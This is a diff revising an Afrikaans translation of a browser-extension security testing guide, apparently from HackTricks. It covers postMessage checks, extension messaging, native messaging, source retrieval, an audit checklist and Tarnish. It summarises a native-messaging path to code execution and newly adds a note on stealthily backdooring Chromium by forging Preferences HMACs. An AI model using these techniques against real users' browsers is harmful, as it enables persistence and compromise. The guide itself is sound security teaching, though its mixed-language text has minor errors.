 var port = chrome.runtime.connect()
@@ -450,15 +453,16 @@ window.postMessage(
 false
 )
 ```
-'n Veilige Post Message kommunikasie moet die egtheid van die ontvangde boodskap nagaan, dit kan gedoen word deur te kyk na:
+'n veilige Post Message kommunikasie moet die egtheid van die ontvangde boodskap nagaan; dit kan gedoen word deur te kontroleer:
 
-- **`event.isTrusted`**: Dit is Waar slegs as die gebeurtenis deur 'n gebruiker se aksie geaktiveer is
+- **`event.isTrusted`**: Dit is True slegs as die gebeurtenis deur 'n gebruiker se aksie getrigger is
-- Die inhoudskrip mag 'n boodskap verwag slegs as die gebruiker 'n aksie uitvoer
+- Die content script mag net 'n boodskap verwag as die gebruiker 'n aksie uitvoer
-- **oorsprong domein**: mag 'n boodskap verwag slegs 'n toelaatbare lys van domeine.
+- **origin domain**: kan 'n boodskap slegs van 'n allowlist van domeine verwag
-- As 'n regex gebruik word, wees baie versigtig
+- If a regex is used, be very careful
-- **Bron**: `received_message.source !== window` kan gebruik word om te kyk of die boodskap **van dieselfde venster** is waar die Inhoudskrip luister.
+- **Source**: `received_message.source !== window` kan gebruik word om te kontroleer of die boodskap **van dieselfde venster** was waarin die Content Script luister.
+
+Die vorige kontroles, selfs as dit gedoen is, kan kwesbaar wees, so kyk op die volgende bladsy na **potensiële Post Message bypasses**:
 
-Die vorige kontroles, selfs al word dit uitgevoer, kan kwesbaar wees, so kyk op die volgende bladsy **potensiële Post Message omseilings**:
 
 {{#ref}}
 ../postmessage-vulnerabilities/
@@ -466,7 +470,8 @@ Die vorige kontroles, selfs al word dit uitgevoer, kan kwesbaar wees, so kyk op
 
 ### Iframe
 
-'n Ander moontlike manier van kommunikasie mag wees deur **Iframe URL's**, jy kan 'n voorbeeld vind in:
+Nog 'n moontlike kommunikasieweg kan deur **Iframe URLs** wees, jy kan 'n voorbeeld vind in:
+
 
 {{#ref}}
 browext-xss-example.md
@@ -474,21 +479,22 @@ browext-xss-example.md
 
 ### DOM
 
-Dit is nie "presies" 'n kommunikasieweg nie, maar die **web en die inhoudskrip sal toegang hê tot die web DOM**. So, as die **inhoudskrip** sekere inligting daaruit lees, **vertrou op die web DOM**, kan die web **hierdie data** verander (omdat die web nie vertrou moet word nie, of omdat die web kwesbaar is vir XSS) en **die Inhoudskrip in gevaar stel**.
+Dit is nie presies 'n kommunikasieweg nie, maar die **web en die content script sal toegang tot die web DOM hê**. Dus, as die **content script** sommige inligting daaruit lees en die **web DOM vertrou**, kan die web hierdie data wysig (omdat die web nie vertrou behoort te word nie, of omdat die web aan XSS kwesbaar is) en die **Content Script** kompromitteer.
+
+Jy kan ook 'n voorbeeld vind van 'n **DOM gebaseerde XSS om 'n browser extension te kompromitteer** in:
 
-Jy kan ook 'n voorbeeld van 'n **DOM-gebaseerde XSS om 'n blaaiers uitbreiding te kompromitteer** vind in:
 
 {{#ref}}
 browext-xss-example.md
 {{#endref}}
 
-## Inhoudskrip **↔︎** Agtergrond Skrip Kommunikasie
+## Content Script **↔︎** Background Script Communication
 
-'n Inhoudskrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur.
+'n Content Script kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serializable** boodskap te stuur.
 
-Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **callback** as die laaste argument deurgee.
+Om die **response** te hanteer, gebruik die teruggegewe **Promise**. Alhoewel, vir agterwaartse versoenbaarheid, kan jy steeds 'n **callback** as die laaste argument deurgee.
 
-Om 'n versoek van 'n **inhoudskrip** te stuur lyk soos hierdie:
+Die stuur van 'n versoek vanaf 'n **content script** lyk soos volg:
 ```javascript
 ;(async () => {
 const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@@ -496,7 +502,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-Stuur 'n versoek vanaf die **extension** (gewoonlik 'n **background script**). Voorbeeld van hoe om 'n boodskap na die inhoudscrip in die geselekteerde oortjie te stuur:
+Stuur 'n versoek vanaf die **extension** (gewoonlik 'n **background script**). Voorbeeld van hoe om 'n boodskap na die content script in die selected tab te stuur:
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@@ -509,7 +515,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
 console.log(response)
 })()
 ```
-Aan die **ontvangende kant** moet jy 'n [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **gebeurtenisluisteraar** opstel om die boodskap te hanteer. Dit lyk dieselfde vanaf 'n inhoudskrip of uitbreidingsbladsy.
+Aan die **ontvangende kant** moet jy 'n [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** opstel om die boodskap te hanteer. Dit lyk dieselfde vanuit 'n content script of extension page.
 ```javascript
 // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
 chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@@ -521,15 +527,15 @@ sender.tab
 if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 })
 ```
-In die voorbeeld wat uitgelig is, is **`sendResponse()`** in 'n sinchrone wyse uitgevoer. Om die `onMessage` gebeurtenishandler te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
+In die uitgeligde voorbeeld is **`sendResponse()`** sinchronies uitgevoer. Om die `onMessage` event handler vir asynchrone uitvoering van `sendResponse()` te wysig, is dit noodsaaklik om `return true;` in te voeg.
 
-'n Belangrike oorweging is dat in scenario's waar verskeie bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()`** vir 'n spesifieke gebeurtenis uitvoer, die enigste een sal wees wat die respons effektief kan lewer. Enige daaropvolgende respons op dieselfde gebeurtenis sal nie in ag geneem word nie.
+'n Belangrike oorweging is dat in scenario's waar meerdere bladsye ingestel is om `onMessage` events te ontvang, **die eerste bladsy wat `sendResponse()` vir 'n spesifieke event uitvoer** die enigste een sal wees wat die response effektief kan lewer. Enige daaropvolgende responses op dieselfde event sal nie in ag geneem word nie.
 
-Wanneer nuwe uitbreidings geskep word, moet die voorkeur wees vir beloftes eerder as terugroepe. Ten opsigte van die gebruik van terugroepe, word die `sendResponse()` funksie as geldig beskou slegs as dit direk binne die sinchrone konteks uitgevoer word, of as die gebeurtenishandler 'n asynchrone operasie aandui deur `true` te retourneer. As geen van die handlers `true` teruggee nie of as die `sendResponse()` funksie uit die geheue verwyder word (vullis-gekolekteer), sal die terugroep wat met die `sendMessage()` funksie geassosieer word, standaard geaktiveer word.
+Wanneer nuwe extensions geskep word, behoort die voorkeur aan promises bo callbacks te wees. Met betrekking tot die gebruik van callbacks word die `sendResponse()` funksie slegs as geldig beskou indien dit direk binne die sinchroniese konteks uitgevoer word, of indien die event handler 'n asynchrone operasie aandui deur `return true;` terug te gee. Indien geen van die handlers `return true;` teruggee nie, of indien die `sendResponse()` funksie uit geheue verwyder word (garbage-collected), sal die callback geassosieer met die `sendMessage()` funksie standaard getrigger word.
 
 ## Native Messaging
 
-Bladsy-uitbreidings laat ook kommunikasie met **binaries in die stelsel via stdin** toe. Die toepassing moet 'n json installeer wat dit aandui in 'n json soos:
+Browser extensions laat ook toe om met **binaries in die stelsel via stdin** te kommunikeer. Die toepassing moet 'n json installeer wat dit aandui, in 'n json soos:
 ```json
 {
 "name": "com.my_company.my_application",
@@ -539,14 +545,14 @@ Bladsy-uitbreidings laat ook kommunikasie met **binaries in die stelsel via stdi
 "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 }
 ```
-Waar die `name` die string is wat aan [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) of [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) deurgegee word om met die toepassing te kommunikeer vanuit die agtergrondskripte van die blaaiers uitbreiding. Die `path` is die pad na die binêre, daar is slegs 1 geldige `type` wat stdio is (gebruik stdin en stdout) en die `allowed_origins` dui die uitbreidings aan wat toegang daartoe kan hê (en kan nie wildcard hê nie).
+Waar die `name` die string is wat aan [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) of [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) deurgegee word om met die toepassing vanuit die agtergrondskripte van die blaaieruitbreiding te kommunikeer. Die `path` is die pad na die binêre, daar is net 1 geldige `type` wat stdio is (gebruik stdin en stdout) en die `allowed_origins` dui die extensies aan wat toegang daartoe het (en kan nie 'n wildcard hê nie).
 
-Chrome/Chromium sal hierdie json in 'n paar Windows-registers en 'n paar pades in macOS en Linux soek (meer inligting in die [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+Chrome/Chromium sal na hierdie json soek in sekere Windows-register en in sekere paaie op macOS en Linux (meer inligting in die [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
 > [!TIP]
-> Die blaaiers uitbreiding benodig ook die `nativeMessaing` toestemming wat verklaar is om hierdie kommunikasie te kan gebruik.
+> Die blaaieruitbreiding het ook die `nativeMessaing` permission nodig wat verklaar moet word om hierdie kommunikasie te kan gebruik.
 
-So lyk dit soos 'n agtergrondskrip kode wat boodskappe na 'n inheemse toepassing stuur:
+So lyk dit wanneer 'n agtergrondskrip kode boodskappe na 'n native toepassing stuur:
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -556,144 +562,152 @@ console.log("Received " + response)
 }
 )
 ```
-In [**hierdie blogpos**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), 'n kwesbare patroon wat inheemse boodskappe misbruik, word voorgestel:
+In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), 'n kwesbare patroon wat native messages misbruik, word voorgestel:
 
-1. Die blaaierspesialis het 'n wildcard-patroon vir inhoudskrip.
+1. Browser-uitbreiding het 'n wildcard-patroon vir content script.
-2. Inhoudskrip stuur `postMessage` boodskappe na die agtergrondskrip met behulp van `sendMessage`.
+2. Content script stuur `postMessage`-boodskappe na die background script met `sendMessage`.
-3. Agtergrondskrip stuur die boodskap na die inheemse toepassing met `sendNativeMessage`.
+3. Background script stuur die boodskap aan die native application met `sendNativeMessage`.
-4. Inheemse toepassing hanteer die boodskap gevaarlik, wat lei tot kode-uitvoering.
+4. Die native application hanteer die boodskap op 'n gevaarlike wyse, wat lei tot code execution.
 
-En binne dit word 'n voorbeeld van **gaan van enige bladsy na RCE deur 'n blaaierspesialis te misbruik** verduidelik.
+En daarin word 'n voorbeeld verduidelik van **hoe om van enige bladsy na RCE te gaan deur 'n browser-uitbreiding te misbruik**.
 
-## Sensitiewe Inligting in Geheue/Kode/Klips
+## Sensitiewe Inligting in Geheue/Kode/Kleefbord
 
-As 'n Blaaierspesialis **sensitiewe inligting in sy geheue stoor**, kan dit **gestort** word (veral op Windows masjiene) en **gesoek** word na hierdie inligting.
+As 'n blaaier-uitbreiding **sensitiewe inligting in sy geheue** stoor, kan dit **uitgelaai** (veral op Windows-masjiene) en daarna vir daardie inligting **deurgesoek** word.
 
-Daarom **moet die geheue van die Blaaierspesialis nie as veilig beskou word nie** en **sensitiewe inligting** soos akrediteer of mnemoniese frases **moet nie gestoor word nie**.
+Daarom moet die geheue van die blaaier-uitbreiding **nie as veilig beskou word nie** en **sensitiewe inligting** soos aanmeldbewyse of mnemoniese frases **moet nie gestoor word nie**.
 
-Natuurlik, moenie **sensitiewe inligting in die kode plaas nie**, aangesien dit **publiek** sal wees.
+Plaas natuurlik **nie sensitiewe inligting in die kode nie**, aangesien dit **publiek** sal wees.
 
-Om geheue van die blaaiers te stort, kan jy **die prosesgeheue stort** of om na die **instellings** van die blaaierspesialis te gaan, klik op **`Inspect pop-up`** -> In die **`Memory`** afdeling -> **`Neem 'n snapshot`** en **`CTRL+F`** om binne die snapshot na sensitiewe inligting te soek.
+Om geheue van die blaaier te onttrek kan jy byvoorbeeld die prosesgeheue uitgelaai, of na die instellings van die blaaier-uitbreiding gaan en op **`Inspect pop-up`** klik -> In die **`Memory`** afdeling -> **`Take a snaphost`** en **`CTRL+F`** gebruik om binne die snapshot na sensitiewe inligting te soek.
 
-Boonop **moet hoogs sensitiewe inligting soos mnemoniese sleutels of wagwoorde nie in die klips gekopieer word nie** (of ten minste dit binne 'n paar sekondes uit die klips verwyder) omdat prosesse wat die klips monitor, dit dan kan verkry.
+Verder moet uiters sensitiewe inligting soos mnemoniese sleutels of wagwoorde **nie in die kleefbord toegelaat word om gekopieer te word nie** (of veral dit binne 'n paar sekondes uit die kleefbord verwyder), omdat prosesse wat die kleefbord monitor dit kan kry.
 
-## Laai 'n Spesialis in die Blaaier
+## Loading an Extension in the Browser
 
-1. **Laai af** die Blaaierspesialis & ongedaan gemaak
+1. **Laai** die blaaier-uitbreiding af en pak dit uit
-2. Gaan na **`chrome://extensions/`** en **aktiveer** die `Ontwikkelaar Modus`
+2. Gaan na **`chrome://extensions/`** en **aktiveer** die `Developer Mode`
-3. Klik op die **`Laai ongedaan`** knoppie
+3. Klik die **`Load unpacked`** knoppie
 
-In **Firefox** gaan jy na **`about:debugging#/runtime/this-firefox`** en klik op die **`Laai Tydelike Byvoeging`** knoppie.
+In **Firefox** gaan jy na **`about:debugging#/runtime/this-firefox`** en klik op die **`Load Temporary Add-on`** knoppie.
 
-## Kry die bronkode van die winkel
+## Getting the source code from the store
 
-Die bronkode van 'n Chrome spesialis kan deur verskeie metodes verkry word. Hieronder is gedetailleerde verduidelikings en instruksies vir elke opsie.
+Die bronkode van 'n Chrome extension kan deur verskeie metodes verkry word. Hieronder is gedetaileerde verduidelikings en instruksies vir elke opsie.
 
-### Laai Spesialis as ZIP via Opdraglyn
+### Download Extension as ZIP via Command Line
 
-Die bronkode van 'n Chrome spesialis kan as 'n ZIP-lêer afgelaai word met behulp van die opdraglyn. Dit behels die gebruik van `curl` om die ZIP-lêer van 'n spesifieke URL te verkry en dan die inhoud van die ZIP-lêer na 'n gids te onttrek. Hier is die stappe:
+Die bronkode van 'n Chrome extension kan as 'n ZIP-lêer via die opdraglyn afgelaai word. Dit behels die gebruik van `curl` om die ZIP-lêer van 'n spesifieke URL te kry en daarna die inhoud daarvan na 'n gids te onttrek. Hier is die stappe:
 
-1. Vervang `"extension_id"` met die werklike ID van die spesialis.
+1. Vervang `"extension_id"` met die werklike ID van die extension.
 2. Voer die volgende opdragte uit:
 ```bash
 extension_id=your_extension_id   # Replace with the actual extension ID
 curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
 unzip -d "$extension_id-source" "$extension_id.zip"
 ```
-### Gebruik die CRX Viewer-webwerf
+### Gebruik die CRX Viewer webwerf
 
 [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
 
-### Gebruik die CRX Viewer-uitbreiding
+### Gebruik die CRX Viewer extension
 
-'n Ander gerieflike metode is om die Chrome Extension Source Viewer te gebruik, wat 'n oopbronprojek is. Dit kan geïnstalleer word vanaf die [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Die bronkode van die viewer is beskikbaar in sy [GitHub-repo](https://github.com/Rob--W/crxviewer).
+Nog 'n handige metode is om die Chrome Extension Source Viewer te gebruik, wat 'n open-source projek is. Dit kan vanaf die [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) geïnstalleer word. Die source code van die viewer is beskikbaar in sy [GitHub repository](https://github.com/Rob--W/crxviewer).
 
-### Beskou die bron van plaaslik geïnstalleerde uitbreiding
+### Bekyk die bron van lokaal geïnstalleerde extension
 
-Chrome-uitbreidings wat plaaslik geïnstalleer is, kan ook ondersoek word. Hier is hoe:
+Chrome extensions wat lokaal geïnstalleer is, kan ook ondersoek word. So doen jy dit:
 
-1. Toegang tot jou Chrome plaaslike profielgids deur `chrome://version/` te besoek en die "Profile Path" veld te vind.
+1. Gaan na jou Chrome lokale profielgids deur `chrome://version/` te besoek en die "Profile Path" veld te soek.
-2. Navigeer na die `Extensions/` subgids binne die profielgids.
+2. Gaan na die `Extensions/` subgids binne die profielgids.
-3. Hierdie gids bevat al die geïnstalleerde uitbreidings, tipies met hul bronkode in 'n leesbare formaat.
+3. Hierdie vouer bevat alle geïnstalleerde extensions, tipies met hul source code in 'n leesbare formaat.
 
-Om uitbreidings te identifiseer, kan jy hul ID's aan name koppel:
+Om extensions te identifiseer, kan jy hul IDs aan name koppel:
 
-- Aktiveer Ontwikkelaarsmodus op die `about:extensions` bladsy om die ID's van elke uitbreiding te sien.
+- Skakel Developer Mode aan op die `about:extensions` blad om die IDs van elke extension te sien.
-- Binne elke uitbreiding se gids bevat die `manifest.json` lêer 'n leesbare `name` veld, wat jou help om die uitbreiding te identifiseer.
+- Binne elke extension se gids bevat die `manifest.json` lêer 'n leesbare `name` veld wat help om die extension te identifiseer.
 
-### Gebruik 'n Lêer Argiveerder of Unpacker
+### Gebruik 'n File Archiver of Unpacker
 
-Gaan na die Chrome Web Store en laai die uitbreiding af. Die lêer sal 'n `.crx` uitbreiding hê. Verander die lêer uitbreiding van `.crx` na `.zip`. Gebruik enige lêer argiveerder (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te pak.
+Gaan na die Chrome Web Store en laai die extension af. Die lêer sal 'n `.crx` uitbreiding hê. Verander die lêeruitbreiding van `.crx` na `.zip`. Gebruik enige file archiver (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te pak.
 
-### Gebruik Ontwikkelaarsmodus in Chrome
+### Gebruik Developer Mode in Chrome
 
-Maak Chrome oop en gaan na `chrome://extensions/`. Aktiveer "Ontwikkelaarsmodus" aan die boonste regterkant. Klik op "Laai ontpakte uitbreiding...". Navigeer na die gids van jou uitbreiding. Dit laai nie die bronkode af nie, maar dit is nuttig om die kode van 'n reeds afgelaaide of ontwikkelde uitbreiding te beskou en te wysig.
+Maak Chrome oop en gaan na `chrome://extensions/`. Skakel "Developer mode" bo-aan regs aan. Klik op "Load unpacked extension...". Navigeer na die gids van jou extension. Dit laai nie die source code af nie, maar dit is nuttig om die kode van 'n reeds afgelaaide of ontwikkelde extension te sien en te wysig.
 
-## Chrome-uitbreiding manifest dataset
+## Chrome extension manifest dataset
 
-Om te probeer om kwesbare blaaiersuitbreidings te identifiseer, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifestlêers nagaan vir potensieel kwesbare tekens. Byvoorbeeld om te kyk vir uitbreidings met meer as 25000 gebruikers, `content_scripts` en die toestemming `nativeMessaging`:
+Om kwesbare browser extensions te probeer opspoor, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifest-lêers vir moontlike kwetsbare tekens nagaan. Byvoorbeeld, om te kyk vir extensions met meer as 25000 gebruikers, `content_scripts` en die permission `nativeMessaing`:
 ```bash
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
+## Post-exploitation: Forced extension load & persistence (Windows)
+
+Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
+
+{{#ref}}
+forced-extension-load-preferences-mac-forgery-windows.md
+{{#endref}}
+
 ## Sekuriteitsoudit Kontrolelys
 
-Alhoewel Bladsy-uitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige daarvan **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
+Alhoewel Browser Extensions 'n **beperkte aanvalsoorvlak** het, kan sommige van hulle **s kwesbaarhede** of **potensiële verhardingsverbeterings** bevat. Die volgende is die mees algemene:
 
-- [ ] **Beperk** so veel as moontlik versoekte **`permissions`**
+- [ ] **Beperk** so veel as moontlik die aangevraagde **`permissions`**
 - [ ] **Beperk** so veel as moontlik **`host_permissions`**
 - [ ] Gebruik 'n **sterk** **`content_security_policy`**
-- [ ] **Beperk** so veel as moontlik die **`externally_connectable`**, as geen nodig is nie en moontlik, laat dit nie standaard nie, spesifiseer **`{}`**
+- [ ] **Beperk** so veel as moontlik die **`externally_connectable`**; as geen nodig is en moontlik, laat dit nie verstek staan nie — spesifiseer **`{}`**
-- [ ] As **URL kwesbaar is vir XSS of oorname** hier genoem word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskripte te stuur**. Baie kragtige omseiling.
+- [ ] As 'n URL wat vatbaar is vir **XSS** of vir takeover hier genoem word, sal 'n aanvaller in staat wees om **boodskappe direk na die background scripts te stuur**. Baie kragtige omseiling.
-- [ ] **Beperk** so veel as moontlik die **`web_accessible_resources`**, selfs leeg as moontlik.
+- [ ] **Beperk** so veel as moontlik die **`web_accessible_resources`**, selfs leë as moontlik.
-- [ ] As **`web_accessible_resources`** nie geen is nie, kyk vir [**ClickJacking**](browext-clickjacking.md)
+- [ ] As **`web_accessible_resources`** nie leeg is nie, kyk vir [**ClickJacking**](browext-clickjacking.md)
-- [ ] As enige **kommunikasie** plaasvind van die **uitbreiding** na die **webblad**, [**kyk vir XSS**](browext-xss-example.md) **kwesbaarhede** wat in die kommunikasie veroorsaak word.
+- [ ] As enige **kommunikasie** van die **extension** na die **webblad** plaasvind, [**kontroleer vir XSS**](browext-xss-example.md) **kwesbaarhede** wat in die kommunikasie veroorsaak kan word.
-- [ ] As Post Boodskappe gebruik word, kyk vir [**Post Boodskap kwesbaarhede**](../postmessage-vulnerabilities/index.html)**.**
+- [ ] As Post Messages gebruik word, kontroleer vir [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
-- [ ] As die **Inhoud Skrip toegang tot DOM besonderhede** het, kyk dat hulle **nie 'n XSS** inbring as hulle **gewysig** word deur die web nie.
+- [ ] As die **Content Script** toegang tot DOM-besonderhede het, kyk dat dit **nie 'n XSS inbring** as dit deur die web gewysig word nie
-- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrond skrip kommunikasie**
+- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is by die **Content Script -> Background script communication**
-- [ ] As die agtergrond skrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesuiwer is.
+- [ ] As die background script kommunikeer via **native messaging**, vergewis jouself dat die kommunikasie veilig en gesanitiseer is
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Bladsy-uitbreiding **kode** nie.
+- [ ] **Gevoelige inligting moet nie gestoor word** binne die Browser Extension **kode** nie
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Bladsy-uitbreiding **geheue** nie.
+- [ ] **Gevoelige inligting moet nie gestoor word** binne die Browser Extension **geheue** nie
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die **lêerstelsel onbeskermd** nie.
+- [ ] **Gevoelige inligting moet nie onbeskermd gestoor word** op die **lêerstelsel** nie
 
-## Bladsy-uitbreiding Risiko's
+## Risiko's van Browser Extensions
 
-- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die bladsy-uitbreiding versoek om 'n risikoniveau van die gebruik van die bladsy-uitbreiding te gee.
+- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die permissies wat 'n browser extension versoek om 'n risikovlak vir die gebruik van die extension te gee.
 
 ## Gereedskap
 
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
-- Trek enige Chrome-uitbreiding van 'n verskafde Chrome-webwinkel skakel.
+- Trek enige Chrome extension vanaf 'n gegewe Chrome webstore skakel.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-pragtige weergawe van die uitbreiding se manifest.
+- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kijker**: vertoon eenvoudig 'n JSON-pragvrye weergawe van die extension se manifest.
-- **Vingerafdrukanalise**: Ontdekking van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript.
+- **Fingerprint Analysis**: Opsporing van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome extension fingerprinting JavaScript.
-- **Potensiële Clickjacking Analise**: Ontdekking van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking, afhangende van die doel van die bladsye.
+- **Potential Clickjacking Analysis**: Opsporing van extension HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) direktef fest. Hierdie kan potensieel kwesbaar wees vir clickjacking afhangende van die doel van die bladsye.
-- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings vertoon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
+- **Permission Warning(s) viewer**: wys 'n lys van al die Chrome permission prompt waarskuwings wat vertoon sal word wanneer 'n gebruiker probeer om die extension te installeer.
-- **Gevaarlike Funksie(s)**: wys die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
+- **Dangerous Function(s)**: wys die plek van gevaarlike funksies wat moontlik deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
-- **Ingangspunt(e)**: wys waar die uitbreiding gebruiker/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig-gevormde data na die uitbreiding te stuur.
+- **Entry Point(s)**: wys waar die extension gebruikers-/eksterne insette aanvaar. Dit is nuttig om die oppervlakte van 'n extension te verstaan en potensiële punte te soek om kwaadwillig-opgemaakte data na die extension te stuur.
-- Beide die Gevaarlike Funksie(s) en Ingangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings:
+- Beide die Dangerous Function(s) en Entry Point(s) skanners lewer die volgende vir hul gegenereerde waarskuwings:
-- Relevante kode-snippet en lyn wat die waarskuwing veroorsaak het.
+- Relevante kodefragment en lyn wat die waarskuwing veroorsaak het.
-- Beskrywing van die probleem.
+- Beskrywing van die kwessie.
-- 'n "Sien Lêer" knoppie om die volle bronlêer wat die kode bevat, te sien.
+- 'n “View File” knoppie om die volle bronlêer wat die kode bevat te sien.
-- Die pad van die gewaarskuwe lêer.
+- Die pad van die gewaarsku lde lêer.
-- Die volle Chrome-uitbreiding URI van die gewaarskuwe lêer.
+- Die volle Chrome extension URI van die gewaarsku lde lêer.
-- Die tipe lêer, soos 'n Agtergrondbladskrip, Inhoud Skrip, Bladsy Aksie, ens.
+- Die tipe lêer wat dit is, soos 'n Background Page script, Content Script, Browser Action, ens.
-- As die kwesbare lyn in 'n JavaScript-lêer is, die pades van al die bladsye waar dit ingesluit is sowel as hierdie bladsye se tipe, en [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
+- As die kwesbare lyn in 'n JavaScript-lêer is, die paaie van al die bladsye waar dit ingesluit word sowel as die tipe van daardie bladsye, en [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
-- **Inhoud Sekuriteitsbeleid (CSP) analise en omseilingskontrole**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens. uitlig.
+- **Content Security Policy (CSP) analyzer and bypass checker**: Sal swakhede in jou extension se CSP uitwys en ook enige potensiële maniere om jou CSP te omseil verklaar weens witgeplakte CDNs, ens.
-- **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om te kyk vir enige gebruik van bekende kwesbare JavaScript-biblioteke.
+- **Known Vulnerable Libraries**: Gebruik [Retire.js](https://retirejs.github.io/retire.js/) om te kyk vir enige gebruik van bekende-kwesbare JavaScript-biblioteke.
-- Laai uitbreiding en geformatteerde weergawes af.
+- Laai extension en geformateerde weergawes af.
-- Laai die oorspronklike uitbreiding af.
+- Laai die oorspronklike extension af.
-- Laai 'n verfraaide weergawe van die uitbreiding af (outomaties pragtige HTML en JavaScript).
+- Laai 'n verfraaide weergawe van die extension af (outomaties gepretified HTML en JavaScript).
-- Outomatiese kas van skandeer resultate, die uitvoering van 'n uitbreiding skandering sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is.
